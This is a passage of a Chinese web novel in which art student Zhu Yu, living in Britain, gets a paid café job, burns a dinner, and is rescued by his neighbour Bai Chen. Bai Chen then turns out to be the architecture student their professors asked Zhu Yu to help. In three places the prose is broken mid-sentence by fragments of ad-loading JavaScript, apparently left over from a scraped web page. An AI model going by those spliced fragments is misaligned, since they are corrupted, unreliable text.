祝渝下午有课,所以工作只进行到中午就结束了,老板August赶在祝渝回学校之前到了咖啡馆。 August是一个很高大的男人,约莫三十出头,留着浓密的胡须,眼窝很是深邃,眼珠是深褐色的,性格豪爽外向。 看得出来他和祝霆关系不错,他提到了一些祝霆在这边的旧事,还开了祝渝两句玩笑,说他长得和女孩子一样漂亮,一点也不像他哥。 又问起了祝霆现在的状况。 祝渝哪里知道,心道反正谁现在都比自己过得好。 不过他在August面前装得很乖巧。 问什么答什么。 看着祝渝离开的背影,August面露狐疑,觉得祝渝的性格和祝霆跟他说的也相差太远了。 他给祝霆发了消息过去,大致说祝渝的工作目前已经安排妥当了,很乖巧一孩子,很听话,工作也认真。 又补充说祝渝没祝霆说得那么任性不听话。 不一会儿,祝霆回了消息:【?】 —— 下午的课是专业课。 祝渝在食堂转了一圈,最后只吃了一块水煮胡萝卜就赶去上课了。 上完课祝渝就饿得彻底抬不动脚了。 他磨磨蹭蹭地收好画板准备离开。 讲台上的导师Mayra[梅拉]叫住了他,“Yu,稍等一下。” Mayra是学院里知名的艺术老师,祝渝作为班级里唯一的中国人,她一向对他多有关照。 祝渝停下了收拾东西的手,往Mayra教授走了去。 这位漂亮的妇人已经将近五十岁了,短发花白,举止文雅,谈吐自然,对学生都很亲近。 她之前下课偶尔也会叫住祝渝,大多就是关心祝渝在国外的情况,问他适不适应一类的话。 祝渝以为这次也是如此。 “教授。”祝渝走到了Mayra的身边,“请问有什么事情吗?” Mayra点头,她对祝渝微笑着说:“Yu,我有一件事想要请你帮忙。” 祝渝有些惊讶,毕竟这是Mayra教授第一次问他帮忙做事,“什么事呀?” “我的丈夫有一个学生,他很有设计天赋。”Mayra的丈夫是隔壁建院的一名教授,之前祝渝看见了他们在学校一起散步,Mayra就将对方介绍给了祝渝认识。 所以现在Mayra教授提起她的丈夫,祝渝才不觉得陌生。 “他怎么了吗?”祝渝敏感地察觉到Mayra教授话里有话。 Mayra教授严肃道:“不知道是什么原因,他的天赋找不到了。” “找不到了?”祝渝在想,这个‘找不到了’是字面意思吗? Mayra教授点头:“他的设计越来越模板化,越来越规矩,不够大胆。” “他那些作品已经不能再称作是设计了,我和我的丈夫只从中看到了死板,束缚。”Mayra教授锐评,“然而不只是我们,连他自己都找不到问题。” 祝渝微微拧眉思考了一下,然后问:“那您和Vera教授没有什么办法吗?” Mayra教授面露难色地摇了摇头,而后开口: “办法倒是有一个,只是这个办法可能要麻烦你。” Mayra教授声线很慈爱和蔼,她习惯性笑着,眼角有浅浅的笑纹,碧蓝色的眼珠有微微的浊感。 祝渝出国后得了Mayra教授很多照顾,如果只是帮一个忙,祝渝是不会拒绝的。 “教授您说。” Mayra教授这才说:“我之前和你们说过,美术和建筑其实是有共通点的,美术可以为建筑设计提供灵感和创意,帮助他们突破常规,设计出更具创新大胆和个性化的建筑作品。”[1] “而你的画总有大胆新奇的想法,色彩夸张美妙,是很难得的天才。并且你也是一个乐观有感染力的学生,我希望你能够和那个孩子多接触一下,帮忙找找他的问题。” “而且他也是中国人,我觉得你们接触的话,会比我们和他接触有更多的话题。”末了,Mayra教授还解释了一句。 祝渝明了,所以教授是让他帮忙关照问题小孩呢。 思量后,祝渝点头问:“好,那我现在要去和他见面吗?” 他倒不是因为是Mayra教授的请求才不拒绝的,他一来是觉得这件事并不怎么麻烦。 二来就是昨晚柏沉说他是建筑设计系的,祝渝现在对建筑设计系的人很好奇。 听到祝渝同意了她的请求,Mayra教授立刻露 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 出欣慰的笑,她由衷夸奖:“你是个善良的孩子。” “不过我先生今天在出差,明天我联系你出来和我们见面可以吗?”Mayra教授温柔询问祝渝的意见。 祝渝说没问题。 和Mayra教授告别后祝渝还是照例去学校食堂逛了一圈,依旧是冰冷冷的白人饭。 他早上只吃了一块面包,午饭在那边兼职没有来得及吃饭,啃了半截水煮萝卜,然后就一直饿到现在。 也是,在这学校的食堂还能有什么好吃的呢? 他绝望闭了一下眼,转身离开了食堂。 刚走出食堂,手机就微微震动了一下,一条短信消息弹出了屏幕。 祝渝摸出手机瞥了一眼短信。 然后目光就被直直地定在了手机界面。 银行卡余额突然多了四十英镑!! 此刻August发了短信过来:【Yu,你今天的兼职费打过来了,收到了吗?】 祝渝今天上午只在咖啡馆工作了两个小时,August却打了四十英镑过来…… 折合一下……一小时将近两百! 祝渝幸福地闭上了眼。 好日子终于要来了吗? 刘波,你看到了吗?你今晚就可以吃上猫粮了。 祝渝眼里含着激动的泪水。 他礼貌回了老板信息后,背着书包就跑向了公寓楼下的超市。 先去给刘波装了一袋猫粮和罐头。 平日里祝渝会给自己买一些速食,这次本来也该如此,但不知道是不是受昨晚吃了正宗黄焖鸡的影响。 祝渝现在一想到自己要吃罐头和速食就有点想吐。 缓了缓,祝渝心里有了一个大胆的想法。 他加快步子去到了超市的鲜蔬区。 —— 学校下课并不晚,但英国的天色暗得很快,现在才六点半,却和国内冬天晚上八九点差不多。 凉风瑟瑟,白鸽绕着公寓前的水池打转。 祝渝挎着书包,单手提着在超市买的东西走进了电梯。 “ZhuYu,晚上好呀!” 祝渝听见这个发音就知道和自己打招呼的人是谁了。 是和他同一层楼的一个中韩混血,他在韩国长大,汉语发音并不标准,但他每次都会坚持用自己蹩脚的汉语和祝渝讲话。 他把祝渝当成练习汉语的对象。 “金珠,晚上好。”祝渝走到他身边。 韩金珠长得很秀气,眼睛也漂亮,水灵灵的,头发天然卷,性格也好,而且还是韩国人,在祝渝的认知里,韩金珠很像某经典欠债漫画里的主角受。 韩金珠低下头看着他手里的东西,好奇:“你又要zuo饭啊?” “昂,再试试。”祝渝买了一些蔬菜,打算跟着柏沉的教学视频给自己做一次晚饭。 虽然前几次都以失败告终了。 但祝渝有一个优点,就是自信,他很愿意去尝试,失败并不会对祝渝造成任何影响,还会把他越挫越勇。 当然这种被祝渝自己称作坚强,被祝霆和其他人称作死犟。 “好吧,记得要把土豆操熟,否则会拉肚子。”韩金珠好心提醒。 祝渝被沉默住了,正好电梯也到了五楼,他走出去后才纠正说:“是炒熟……” “啊对!是我太笨了。”韩金珠摸了摸自己的头,急忙跟上了祝渝的脚步。 和韩金珠告别后,祝渝一个人走回了宿舍门口,开门的时候他回头看了一眼514宿舍,静悄悄的,不过从里面泄出的亮光能看出,柏沉此刻就在家里。 到家后祝渝先把刘波的晚饭解决了,然后才准备做自己的晚饭。 他套上围裙,撸起袖子,把头发半扎起来,用发夹将额前的浅发别起来,再拿出平板,点开了柏沉某期红烧肉的教程。 看起来还真像那么一回事。 半小时后,正在做项目的柏沉突然闻到一股浓郁的焦糊味,然后就听到了自家房门被敲响的声音。 5. 支援 柏沉有些困惑,因为他刚住进这所公寓,并不认识周围的邻…… 哦不。 昨晚认识了一个叫祝渝的人。 好像预感到敲门的人会是谁了,柏沉很快起身去打开了门。 映入眼帘的是炸了毛的祝渝。 祝渝比柏沉矮近一个头。 门打开后他就仰起头去看柏沉。 柏沉也低着头去看祝渝。 祝渝看起来好像是受了天大的什么委屈,泪眼花花的,一头粉发乱七八糟的,额前一个向日葵款式的发夹挂在发尾,悬在鼻梁中间。 整个人看上去惨兮兮的。 “祝渝?”柏沉眉心一跳,压声喊了对方一声后问:“你怎么了?” 祝渝抬手用衣袖抹去了眼尾的泪水,他看着柏沉,用发哑的嗓音说:“柏沉,你能帮帮我吗?” “怎么了吗?”柏沉侧开身,想让祝渝进屋说话。 祝渝摇摇头表示自己不进去,解释:“就是我,我买了土豆和肉去做红烧肉,可是我又失败了……” 柏沉很敏感地捕捉到了祝渝说的一个“又”字。 但他没有刻意去问,而且他也听懂了祝渝的话外之音,“我明白了。” 祝渝急忙给柏沉让开路,还贴心地做了一个请的手势,柏沉笑了笑,回头关上门就去到了祝渝家里。 尽管祝渝已经给家里通过风了,但整个屋子还是飘着食材焦糊的味道,并不好闻,走进厨房后,柏沉甚至觉得里面的味道油腻又熏人。 他蜷起拳头抵在鼻下轻咳了一声,然后身边就递了一只口罩过来,柏沉顺着手看过去,就看见已经戴好了口罩的祝渝。 祝渝关切的眼神太过真诚了,仿佛这厨房里有什么生化病毒似的。 柏沉不可置否地再次笑出了声,然后才说:“我不用。” 他上前去掀开了锅盖,一股黑烟从锅里冒出来,锅里还传出“滋滋”的声响,浓郁的肥肉焦糊味呛得柏沉连咳了几声。 看清里面的实况后,柏沉罕见地沉默住了。 祝渝在他身后捂住脸,很没有底气地解释:“我真的没有在搞生化实验。” 他只是一个想吃红烧肉的可怜孩子。 还好公寓规则里允许留学生在做饭的时候短暂地断掉烟雾报警器,否则祝渝不但吃不上饭,还要付一笔消防员出警费。 柏沉被祝渝的一番话逗乐了,他笑意不敛,又咳了两声才温声开口:“没事,我来吧。” 他将挂在墙上的围裙取下来拴在了自己的身上,系紧的围裙勒出了他健硕的身材。 他拿起锅铲开始清除锅里的焦状物。 柏沉依稀还能辨认出这些生前是什么东西,是土豆块和五花肉,不过此刻都已经焦糊成了一团,黏在锅底差点铲不出来。 “有需要我做的事情吗?”祝渝凑上前去问。 柏沉想了想,道:“你去我家里把厨房窗台边的花生油拿来吧,我看你用的是橄榄油,橄榄油一般不拿来炒菜。” “哦,好!我现在就去!”祝渝应下后飞也似的跑去了柏沉家中。 在厨房的佐料架中找到了柏沉说的花生油。 他没想在柏沉家里停留太久的,毕竟主人不在家里。 但他还是不可避免地扫了这个家一眼,仍旧是暗色调,简约风,什么都摆得整整齐齐的,祝渝有一种柏沉好像随时就可以搬家离开的错觉。 他余光瞥到了柏沉摆在茶几上的图纸。 好像是什么景观的设计图纸。 祝渝看不懂,但这张设计图给他的直观感觉有些怪,不过祝渝没多想,关上灯就离开了。 他回到厨房的时候,厨房已经没有那么浓郁的焦糊味了,柏沉现在正在切土豆丝。 祝渝把油放在了旁边,挨在柏沉身边好奇问:“柏沉,你打算做什么啊?” 柏沉缓声回:“做土豆丝饼,你买的肉剩得不多了,不适合再做红烧肉了。” 祝渝只觉胸口一口气卡着上不来,他捂着胸口痛心疾首道:“唉,我买这些肉花了好多钱的,我一口还没吃呢。” “早知道就买速食了。”祝渝声音很沮丧。 柏沉听出了他的沮丧,就安慰他说:“别伤心,我看你还买了茄子,一会儿我把剩下的肉做肉沫茄子。” “哎!其实我也有打算做肉沫茄子,不过第一个菜就失败了……”祝渝眼睛一亮,他没想到对方和自己想一块儿去了。 “柏沉,你人真是太好了!”祝渝有一种想把自己别在柏沉裤腰上当挂件的冲动。 柏沉说:“都是邻居,顺手帮个忙而已。” 祝渝就在他身边嘀咕,“因为我找了一个按小时结算的兼职,工资到账后,我就想做菜犒劳自己。” “我明明是按照步骤来的,可是怎么都做不好,我又搞砸了。”平日里祝渝像一只阳光快乐的萨摩耶,而现在他尾巴耳朵都耷拉了下来,成了一只沮丧的灰溜溜小狗。 “我果然没有做饭的天赋。”小狗长叹了一口气,头顶笼罩上了一团厚厚的乌云。 但在看见柏沉将刚摊好的土豆饼盛出锅以后,祝渝头顶的乌云瞬间烟消云散了。 他两眼放光,直直地盯着盘子里的两个土豆饼。 柏沉将盛出来的土豆饼放在了身后的桌上。 “没有人是一定要十全十美的,不会做饭并不值得伤心,不要太难过了。”柏沉说话就像一位有很多阅历的人,可他看起来并不比祝渝大多少。 祝渝抿了抿唇,小步挪到了桌边。 然后才开口回话:“可我觉得你就是十全十美的人。” 他说完话就悄悄伸手掰了一小块土豆饼下来。 刚炸好的土豆饼两面都是金黄酥脆的,表面浮着一层油光,土豆丝粗细均匀,上面洒着胡椒粉和辣椒粉,切碎的葱花点缀在上面,很有食欲。 整张饼散发着诱人的味道。 他将掰下来的小块土豆饼塞进嘴里,香酥的味道很快在嘴里蔓延了开,葱花并不影响口感,反而将淀粉的味道掩饰了不少。 就是刚出锅有些烫嘴,烫得祝渝眼泪都出来了。 他忙伸出舌头,抬手在唇边扇了扇风,却听见柏沉回他话:“怎么会?我也有很多做不好的。” 而后他就轻叹了一息。 祝渝茫然地看向了柏沉做饭的宽阔背影。 他有些不理解柏沉为什么会这么说。 “柏沉……”祝渝掀唇喊了他一声。 柏沉转身看向他,弯眸温声问:“怎么了?” “你不开心吗?”祝渝一双纯澈的眼睛紧紧盯着柏沉的脸。 柏沉面露疑惑,“你怎么会这么想?我没有不开心啊。” 好像又变成了平时的那个柏沉,浑身都透着温柔坦然的气息,而他刚刚说的那句话仿佛就是祝渝的错觉。 “我听见你叹气了。”在祝渝的认知里,人不会无缘无故叹气,大概是经历了或者想到了不开心的事情才会这样。 “叹气也不一定是因为不开心。”柏沉认真又耐心地解释。 “好吧,不过你说得对,没有人一定要是十全十美的。”祝渝又掰了一块土豆饼塞在嘴里,“我学不会做饭也不是我的错。” 嚼啊嚼,咽下。 祝渝又掰了一块。 再掰一块。 塞进嘴里。 …… 他发誓是最后一块了。 …… 几分钟后,柏沉将锅里剩下的两个土豆饼夹出锅,转身却只看见了桌上空白的盘子和规规矩矩坐在桌前的祝渝。 祝渝坐在餐桌前,后背挺直,模样乖巧,很像上课认真听讲的小朋友。 四目相对,柏沉困惑。 “刚刚……”柏沉微微拧眉,疑惑开口,“我应该有做好了两个土豆饼的吧……” 祝渝有些不好意思地点了点头。 …… —— 约莫过去了十五分钟,柏沉做好了最后一道菜,祝渝从橱柜里拿出了两个色彩绚烂的瓷碗出来。 “柏沉,你也吃一点。”祝渝将一个碗摆在了柏沉的桌前。 柏沉摇头拒绝:“在你来找我之前, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我已经吃过晚饭了。” “一点都不吃吗?”祝渝还觉得挺惋惜的,因为柏沉做得真的很好吃。 “不吃了,你快吃吧。”柏沉刚说完话,就感觉到有什么毛茸茸的东西在蹭自己的脚。 他偏开头看向脚边,只见刘波在他的脚边打转,柏沉弯腰去摸它,刘波顺势在他掌心蹭了蹭,然后后腿一蹬就跳到了他的腿上。 祝渝看着刘波指责:“刘波,你干净嘛你就往别人身上跳?” 柏沉曲指挠了挠刘波的下巴,肥胖的猫在柏沉怀里发出舒服的叫声。 “喵——” 柏沉摸着刘波的头,翘着唇角对祝渝说:“没事,我抱着吧,你快吃饭吧,不然一会儿就凉了。” 看着刘波安静待在柏沉怀里没有闹腾,祝渝这才放心开始吃饭。 柏沉有一些没一下地摸着刘波的脑袋,他刚刚就注意到了祝渝的家里很漂亮。 家里各处都摆着很多色彩绚烂的东西。 有各色的花,还有色彩绚丽的画,许多已经拼好的乐高,很大的拼图,各种古怪的小玩意。 能看出来,祝渝的世界应该是彩色的。 柏沉又看向祝渝,祝渝这会儿功夫已经吃完一个土豆饼了。 他吃相很好看,并不狼狈,也没有很狼吞虎咽,但就是能看出来他吃得很香。 柏沉一直不觉得自己做的饭有多好吃。 而且对方甚至连一句夸奖的话都没说,但就是有一种被满足的怪异感从柏沉心中荡漾开。 他下意识别开了眼。 “对了柏沉,你多少岁了呀?”埋头干饭的祝渝突然抬起头问。 柏沉又重新看向了他,回:“二十五。” “比我大三岁,我以为你比我大很多呢。”祝渝啃了一口土豆饼。 柏沉就笑,颊边的梨涡让他看起来更加温和了,“你的意思是我看起很显老吗?” 他和祝渝开玩笑。 祝渝慌得连饼都不啃了,他忙放下手里的东西,又摆手又摇头,手忙脚乱地解释: “怎么会!我就是觉得你很有安全感,很厉害,比我哥还靠谱,还以为你是看着显年轻呢。” 柏沉好奇:“你还有个哥哥?” “对啊,他是个老古板,对我可严厉了……” “其实不止是他,我家里人都对我很严厉,我只是……我只是做错了一件很小的事情。”祝渝用食指和拇指比划出了一小段距离,来形容自己犯的错有多小。 然后崩溃补充:“他们就把我送到这种鸟不拉屎的地方,每个月给我那么少的零花钱,害得我每天都是饿醒的……” 祝渝越说越生气,忍不住往嘴里塞了一大口土豆饼,腮帮子被顶得鼓起。 柏沉抿着唇笑,给他倒了一杯水,“他们这么过分啊?” “嗯嗯嗯!!他们就是这么过分!”祝渝连连点头,但还是不忘往嘴里塞东西。 …… 十分钟后。 “柏沉,谢谢你!没想到今晚又打扰你了。”祝渝咽下了最后一口菜,然后放下碗对柏沉说。 在他面前的桌上,只余几个空碗了。 柏沉摇头:“没关系,毕竟你是我过来认识的第一个朋友嘛。” 祝渝很开心柏沉这样说,他把桌上的手机拿起来,“既然我们是朋友了,那我们是不是应该加个微信呀?!” 他自己都没注意到,他因为太开心,连说话的尾音都翘了起来。 柏沉听完就顺手摸了一下口袋,落了空才记起自己把手机放在茶几上了,“我没把手机带过来,我现在回去拿吧。” “不用不用,太麻烦了,反正我们是邻居,明天见面了我们再加也不迟!”祝渝叫住了柏沉。 柏沉没有坚持,他点头:“也好。” “那我就先回去了,时间有点晚了。”柏沉将腿上的刘波抱起来放在了地上。 “好!“祝渝应完又偏头看向了柏沉脚边对他依依不舍的刘波,表情很是困惑。 “刘波平时还挺怕陌生人的,但是怎么会这么黏你呢?” 6. 礼物 “我猜,一定是你昨晚给它吃了饭,它现在记住你了。”祝渝走去将缠在柏沉脚边的刘波抱了起来。 柏沉顺手挠了挠刘波的下巴,好奇问:“那你养它也是因为你给它喂了吃的?” “对啊!”祝渝重重点头,说:“当时我刚到英国,银行卡还没被冻结,我就稍微挥霍了一下,给它买了一些猫粮,结果它每天都在楼下蹲我,一来二去,我就把它抱回家了呗。” 看起来好像对刘波很嫌弃的人,却还是把刘波养得那么的胖。 祝渝一个人在这人生地不熟的地方,说是他领养照顾了它,何尝不是它陪着祝渝度过那些无聊孤独的夜晚呢。 “那它太聪明了。”柏沉笑说道。 而后他抬起手腕看了一下时间,接着说:“祝渝,我得回家了。” 不知不觉已经是晚上九点多了,他解释:“我明天有约需要早起。” “哦哦,那你快点回去睡觉吧,我打扰了你好长时间啊。”祝渝也知道今晚柏沉一大半的时间都用在了自己身上,语气还有些愧疚。 柏沉看向他,“没关系的,我们是好朋友的话,这就不是打扰。” 他说完就要转身离开,祝渝突然想起了什么似的,急忙拉住了他的衣袖,“等等,柏沉!” “我有一个小礼物想送给你!”祝渝将怀里的刘波塞到柏沉怀里,“你稍等一下,我马上就过来。” 祝渝跑回了厨房,踮起脚尖从橱柜的顶上抱下来了一个收纳箱。 在里面拿出了一个色彩绚烂的瓷杯,和他晚上吃饭用的碗似乎是同一种款式。 他把瓷杯装进了透明礼品盒里,再快步跑到了门边,前后不到一分钟。 “柏沉,这个给你。”祝渝将礼盒送到了柏沉身前。 然后在柏沉疑惑的目光中解释:“这是我自己上的色,你看上面的图案,也是我自己的设计的。” “和刚刚我吃饭的碗一起画上去的。” 难怪柏沉看着这上面的图案的色彩觉得有些眼熟。 祝渝吃饭的时候他就注意到碗上面的图案了,他最初以为是那样的款式,没想到是祝渝自己画的。 不过是祝渝画的好像也不违和。 祝渝看起来就很有活力和想法的样子,也许他家里那些漂亮的东西都是祝渝自己做的。 “谢谢。”柏沉说。 祝渝把他怀里的猫抱了回去,“不用谢,这是你给我做饭的谢礼和……成为我朋友的礼物!” 走廊的灯光很亮,祝渝仰着头和柏沉说话,一双眼睛在灯光下被映得和星子一样璨亮。 “好,那我收下了。”柏沉伸手将礼盒接了下来。 “嗯嗯!”祝渝点头,“那么晚安,早点睡觉!” 祝渝对柏沉挥了挥手,然后拍了一下刘波的屁股,“刘波,叫人。” 刘波立马谄媚地对柏沉叫了一声,“喵。” 柏沉又笑了起来。 两人各自回到了家中。 柏沉到家后将祝渝送他的杯子拿出来放在了客厅的展示柜上。 展示柜上只零星地摆着几个暗色调的杯子和一些他专业需要的工具。 祝渝的杯子放在中间,绚烂的色彩让它成为了这期摆件中最吸睛的存在。 像会发光似的,将周围暗色调的东西都染上了色彩,似乎有些格格不入了。 柏沉盯着瓷杯看了好一会儿,还是将它收起来放在了抽屉最里面。 —— 英国九月份的天气远比国内要冷。 而且几乎很少放晴。 一夜过后,窗户上附上了一层水雾,风吹着树叶,凉意四起。 祝渝爬起来拉开窗帘,窗外的亮光钻进来,刺得祝渝的眼睛都睁不开。 祝渝将窗户开了一道缝隙,外面的凉风吹进来,吹得他的瞌睡瞬间跑了大半。 昨晚下了雨,但不大,现在外面的树叶上悬着昨夜的雨珠。 昨天Mayra教授给他发邮件说今天上午九点半在学校见面。 祝渝就向August请了两个小时的假。 有了昨天的教训,祝渝今天明显不那么磨蹭了,八点半就出门了。 他回头看向514宿舍,突然想到昨晚又没加上柏沉的事。 希望今晚能够顺利加上联系方式吧。 祝渝祈祷后将白色的针织帽戴好就离开了。 因为气温骤降,早上祝霆还给他发消息让他多穿衣服,所以祝渝今天穿了一件加厚的白色卫衣。 他背着书包,双手插在卫衣口袋里,凉风瑟瑟,鼻尖被吹得红扑扑的,没被帽子压住的头发被吹得凌乱飞舞,额前的碎发快要把他的视线完全挡住了。 落叶缓缓落在了他的肩头,然后被风吹落。 他走的方向不是去学校的方向。 祝渝从公寓楼下的小公园绕到了后面一栋废弃烂尾楼。 左右望了望,确定没有人在这边之后,就从口袋里摸了几根猫条出来。 “喵喵。”祝渝压着嗓子,学着猫叫的声音。 他抬脚跨过了一条干涸的下水沟,然后猫着腰一边寻找一边轻轻唤:“你还在不在呀?” “喵——”从角落里传出了一道试探般的叫声。 祝渝循着声音找过去,就看见角落里躲着一只狸花猫,而且不远边上还有一只碗,碗里装着没吃完的猫粮。 祝渝挑眉,像是气笑了:“我说你这些天怎么不出来堵我呢,原来是又有人来投喂你了。” 他将手里的猫条撕开,蹲在了狸花猫跟前,“不记得我啦?” 狸花猫一双圆溜溜的大眼盯着祝渝打量了几秒,下一秒就从角落里钻出来跑到了祝渝脚边。 它的头轻轻蹭着祝渝的脚踝,发出一声声黏人的叫声。 祝渝把猫条挤出来喂它,“吃吧吃吧,等下我就要离开了。” 祝渝摸了摸它的头,嘀咕:“我还以为你是出了什么事才不来找我的。” “看你碗里还剩那么多猫粮,你是遇上贵人了啊,还不知道抱紧大腿跟他回家。” “就抱着他的腿,喵喵叫两声,他保准就心软了。”祝渝说给它的招数都是刘波之前对他使的。 但小猫可听不懂。 祝渝拿出手机拍了一张自己和狸花猫的合照发在朋友圈记录。 等狸花猫吃完了手里的猫条以后。 祝渝踩着枯叶离开了这栋烂尾楼,脚下发出咔嚓的声响,耳边是呼啸的凉风,吹得祝渝的眼睛周围一圈都泛了红。 东方人的面孔在这所国际学校里并不少见,但比祝渝还精致的面孔却很少见了。 他称得上是漂亮了,是那种即便染着一头粉色的头发,戴着耳钻,白得发光却一点也不显女气的漂亮,总有人的目光会一直追随着他。 —— 祝渝到学校就是九点多了。 Mayra教授让他在学校里面的咖啡馆等她。 她和她丈夫Vera他们正在赶来的路上。 祝渝找了一个靠窗的位置坐下,刚刚发的朋友圈已经有很多人点赞留言了。 祝渝挑挑拣拣回了几条,对问及自己近况的评论 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一概当没看见。 “欢迎光临。” “你好,我们有预约了。”埋头看手机的祝渝耳朵动了动,他听到了熟悉的声音。 祝渝急忙收起手机,循着声音看过去。 “Mayra教授,我在这里!”祝渝对门口的两人挥手打招呼。 走进来的只有Mayra教授和她的丈夫Vera。 祝渝没看见Mayra教授说的那个所谓的学生。 两位向祝渝走了过来,“Yu,抱歉,我们来晚了。” Mayra教授和祝渝拥抱了一下。 “这是我丈夫Vera,之前你们见过。”Mayra转而向祝渝介绍身边的男人。 祝渝记忆力又不差,当然还记得对方,他微笑着和Vera教授打了招呼,然后相互握了手。 Vera教授留着一圈花白的胡须,因为年龄更替,眼皮堆叠,眼窝很是深邃,碧蓝色的眸珠深藏其中,穿着裁剪得体的西服和西服外套,整个人看上去十分的精神。 “教授,您说的那个学生,没和你们一起来吗?”祝渝没看见第三人,这才开口问。 Mayra解释:“他在外面停车,Vera前些时间伤了脚,早上是他去开车接的我们。” 祝渝点点头,关心了一下Vera教授的身体,随即抬手招来了服务员,替三位各点了一杯咖啡。 祝渝坐在两人的对面,Vera教授很感激地看着祝渝说:“Yu,听Mayra说你已经答应了帮助他,你是一个很善良的孩子。” “教授您客气了,Mayra教授一直很照顾我,我现在只是做了力所能及的事情来感谢你们。” 话音刚落,门口接待的服务员再次出了声—— “欢迎光临。” “您好,我已经有预约了。”一道年轻的声音很礼貌地回应了服务员。 三人都循着声音看了过去,祝渝目光落在了进来那人的脸上。 Vera教授对他招手:“BaiChen,我们在这里。” 祝渝本来在盯着柏沉的脸出神,直到对坐的Vera教授突然出声,将祝渝唤回了神。 他疑惑地看了看走近来的柏沉,又疑惑地看向了对坐的两人,两位都一脸慈爱地看着柏沉。 祝渝脑子短暂地停转了两秒。 “所以你们说的那个学生是柏沉吗?”因为太激动,祝渝的声音都不觉拔高了一些。 Mayra教授听到祝渝的话,也惊讶看向了他,“Yu,你认识BaiChen吗?” “是,我们是邻居。”祝渝回话的功夫,柏沉已经走到了他们的桌前了。 祝渝往窗边挪了挪,给柏沉让开了一些位置。 “太好了!没想到你们两位居然认识,看来我们完全不用担心你们可能会相处不好了。”Mayra教授合起手掌,重重的舒了一口气。 难怪之前祝渝总觉得她一脸担忧的神情。 柏沉挨在祝渝身边坐了下去。 以前两次见柏沉,柏沉穿的都是白色的居家服,今天他却穿着一身秋季正装,外套是一件米色的长款风衣 风衣显瘦显高,将柏沉健硕的肌肉全部藏在了衣服下面,又把本就高挑的人衬得更加高挑。 但祝渝发誓,他真的不是故意打量的,他只是不小心就看见了对方胸口紧绷的衬衫纽扣了。 祝渝慌不择路地别回了头。 “老师。”柏沉坐下来对两人打招呼。 然后侧首看向祝渝,唇角噙着淡淡的笑意,“祝渝,好巧啊。” 7. 师哥 柏沉眉眸微弯,笑得有些意味深长了。 祝渝一双眼睛紧紧看着柏沉,语气很惊喜:“柏沉,怎么会是你呀!” 柏沉解释:“我也不知道老师要介绍给我认识的人是你。” 他仍旧笑着,颊边的梨涡像是静水里漾开的涟漪。 因为有两位教授在身前,所以两人都是用的英语交流。 这是祝渝第一次听见柏沉说英语,声线好像比平时更有磁性,像被清泉浸润过的,很魅惑,祝渝耳朵下意识动了动。 “两位认识的话,我就不用介绍太多啦。”Mayra教授满意地弯着眉眸,眼角的笑纹堆叠着,整个人看上去已经放松了很多。 柏沉看着两位,认真说:“谢谢老师。” “你们一直在为学生的事情操心。” “没有关系的。”Vera教授端起咖啡喝了一口,接着说:“我们希望你能够找出并解决真正困扰你的东西,我想你来留学也是因为想要解决这个问题吧?” 柏沉没有说话。 Mayra教授跟着接话:“其实BaiChen你的问题很明显。” “你需要足够大胆,试着跳出禁锢你的模板化设计,勇敢迈出那一步呢?” 她稍微停顿了一下,看向了祝渝,“也许我最中意的学生,Yu他能够帮助你。” 祝渝眨了眨眼,茫然地看向了柏沉,因为他并不知道自己能怎么帮助柏沉。 柏沉瞥下眼皮,密长的睫羽在他的眼底掩出一抹阴影,祝渝看着觉得他好像有很多秘密似的。 “学生明白,学生不会让你们失望的。”柏沉回话。 “BaiChen,不可以这样说。”一旁许久不说话的Vera教授表情突然变得严肃,他纠正:“你所做的努力不是为了我和Mayra,而是为了你自己。” 柏沉顿了一下,而后抬眸应:“好。” “既然你们认识,那肯定很了解彼此吧?看来我和Vera教授完全就不用担心了呢。”Mayra往爱人的肩侧靠了过去,一脸欣慰地看着二人。 祝渝弱弱开口:“其实也不是很了解,因为我和柏沉才认识两天。” “才认识两天吗?看你们的相处,我还以为你们已经是认识了很久的老朋友呢。”这位年近半百的夫人语气和表情看起来像是在吃什么大瓜一样。 她的笑中藏着一抹意味深长。 然后又接着说:“不管怎么样,你们已经认识了就是一个很好的开始。” “我想以后你们的相处也会越来越顺利的。” “说起来,BaiChen应该是你的师哥,因为他之前休学了两年……”Vera教授正要接着Mayra的话说下去,但他的手机铃声却突然响了起来。 他拿起手机看了一眼,对几人做了一个抱歉的手势就接起了电话。 几分钟后,他挂断电话靠近Mayra的耳边小声说了什么,然后他和Mayra都站起了身,“BaiChen,Yu,非常抱歉,我和我爱人突然有事情要去处理。” 祝渝一下就听懂了对面的话外音,“没关系!我和柏沉师哥认识的,你们不用太担心我们!” 他很自然地将柏沉带入了自己师哥的这个身份。 柏沉没注意到祝渝对自己的称呼,他顺着对方的话说下去:“对,你们放心吧。” 于是两位教授一起离开了咖啡馆,祝渝透过窗户目送着二人上了出租车,然后才回过头看向柏沉。 “师哥,你好呀!”祝渝笑起来说,露出一对白瓷般的虎牙,他眸珠璨亮,身上的活力简直要将人融化了。 柏沉一愣,这才注意到祝渝对自己的称呼,他恍惚问:“什么?” “刚刚Vera教授说,你应该是我的师哥。”祝渝侧过身,将手肘撑在桌上,他单只手托着自己的脸,歪头看着柏沉笑。 “你不用叫我师哥,叫我名字就好了。”柏沉说。 祝渝抿唇,然后摇头:“不要。叫名字多生疏啊,就师哥?师兄?怎么也比叫名字亲近吧。” “而且我们以后会相处很久的。”祝渝直起身,上半身往柏沉靠近了一些。 他好像并不是在和柏沉商量。 毕竟祝渝想做什么,想说什么,是没有人可以干预的。 柏沉凝着目光看着祝渝,眸色深沉,平静又神秘,缓了缓,他启唇,语气似妥协,似包容:“好吧。” 祝渝以为他会拒绝的。 他本来都做好了被柏沉拒绝的准备。 “怎么了?”看祝渝困惑地打量着自己,柏沉温声问。 “没事。”祝渝摇头,岔开了话题问:“师哥,那按照教授的说法,你之前休学了两年,我能冒昧问一下原因吗?” “生了一点病,还有……”他声音渐小,而后轻咳了一声说:“不过现在已经好了。” “生病?严重吗?”祝渝追着关心。 柏沉:“已经好了,不严重的。” 他显然并不想就着这个话题继续下去,祝渝也很识趣地不再继续追问。 他将话题引到了自己身上来,“教授说让我帮助你,可我只是学美术的,也不知道能帮到你多少。” 